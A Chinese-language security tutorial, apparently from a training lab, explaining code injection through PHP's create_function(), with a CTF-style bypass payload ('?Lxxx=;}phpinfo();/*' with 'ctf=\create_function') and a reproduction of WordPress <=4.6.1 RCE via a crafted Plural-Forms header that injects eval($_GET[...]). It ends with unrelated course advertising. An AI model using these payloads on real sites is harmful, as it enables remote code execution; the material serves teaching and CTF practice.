首先还是先看PHP手册,PHP官方对create_function是这么定义的:
首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名。
举个例子:
<?php
$Lxxx = create_function('$str' , 'echo $str;phpinfo();');
echo $Lxxx;
echo "<br>";
echo $Lxxx("hello");
我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面。
此时我们访问页面如下:
可以看到,这个时候打印输出了hello以及phpinfo页面
除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。
这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。
如何利用create_function()进行注入?
想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的:
其实就是需要我们注意,这个函数本身就是在内部执行eval函数,
因此我们可以将上方的代码改写成另一种等价的形式:
<?php
function lambda_6($str){
echo $str;
phpinfo();
}
?>
那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢?
假设我们有以下代码:
<?php
$ctf = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {
$ctf('',$_GET['Lxxx']);
}
其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。
既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。
问题一:
那么该如何又使用create_function函数,又不以字母开头呢?
分析一:
答案就是:使用反斜杠。
因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的
问题二:
对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办?
<?php
function lambda_6($str){
echo $str;
phpinfo();
}
?>
分析二:
注入的时候在末尾添加注释符,将后面的内容注释掉即可。
也就是说,我们只需要传如下payload即可:
?Lxxx=;}phpinfo();/*
POSTDATA: ctf=\create_function
WordPress中的create_function()注入
影响范围:
WordPress<=4.6.1
漏洞复现:
WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数
涉及到的代码如下:
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回
首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数
首先plural forms在如下位置:
我们现在将第九行修改如下:
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"
用;}将前面的内容闭合,并且使用/*注释掉后面的代码
再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。
这个时候在主页传payload:
?Lxxx=phpinfo();
即可得到phpinfo页面,也就达成了RCE。
实验推荐: https://www.yijinglab.com/expc.do?ec=ECID1eae-d41b-4f53-9280-21c9ef9385ba
这次没有如果,带着真题来了
正文:
每周五固定节目又来了!教师节为什么没有更新,因为备课去了,所以这周带着真题来讲解了。
训练终究只是训练,赛场才是最后的考验。真正的比赛中会包含CTF的不同题型,前面的Weekly CTF还在WEB赛段,在其它的题型出来之前,我们今天来提前感受下比赛中的真题,为以后参赛做准备。
本次讲解的是全国大学生网络安全技能大赛“蓝帽杯”的真题,可能大家在网上搜索也能发现很多writeup,不过我们实验室不仅提供解析还准备了实操环境,更绝的是还带视频讲解,这样就完美解决了文字枯燥想睡觉的问题。
今天给大家带来的第一题是WEB题型<杰克与肉丝>,对这就是真实的比赛,搞安全的也不全是耿直大直男只会取专业名词组成的题名,也是偶尔有皮的。这道题的考点大家应该还很熟悉了,前面几周的练习题都是反序列化的,这不真题就来考这个点了。如果有初学者不了解的,也可以上我们实验室的官网搜索关键词“反序列化”,有很多相关的实验可供学习,其它方向的也很齐全,大家按需学习即可,也可以加入讨论群或者咨询线上的客服进一步了解。想快速上手的话我们还有特训班,网络安全的几个方向都有覆盖到,学员的评价也都非常好,讲师无时无刻不在答疑(此处讲师行为惊呆B站官号运营并发了动态),小班授课非流水线模式,良心与实力兼备。
最后希望我们都能拥有很多很多的知识(qian),比赛题题会,考试门门过!我们赛场上见, 并提前祝大家月(kai)饼(xue)节(le)快乐~!
链接直达:http:// https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9e84-22a0-4aca-a1f2-d6987bb83923 &
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

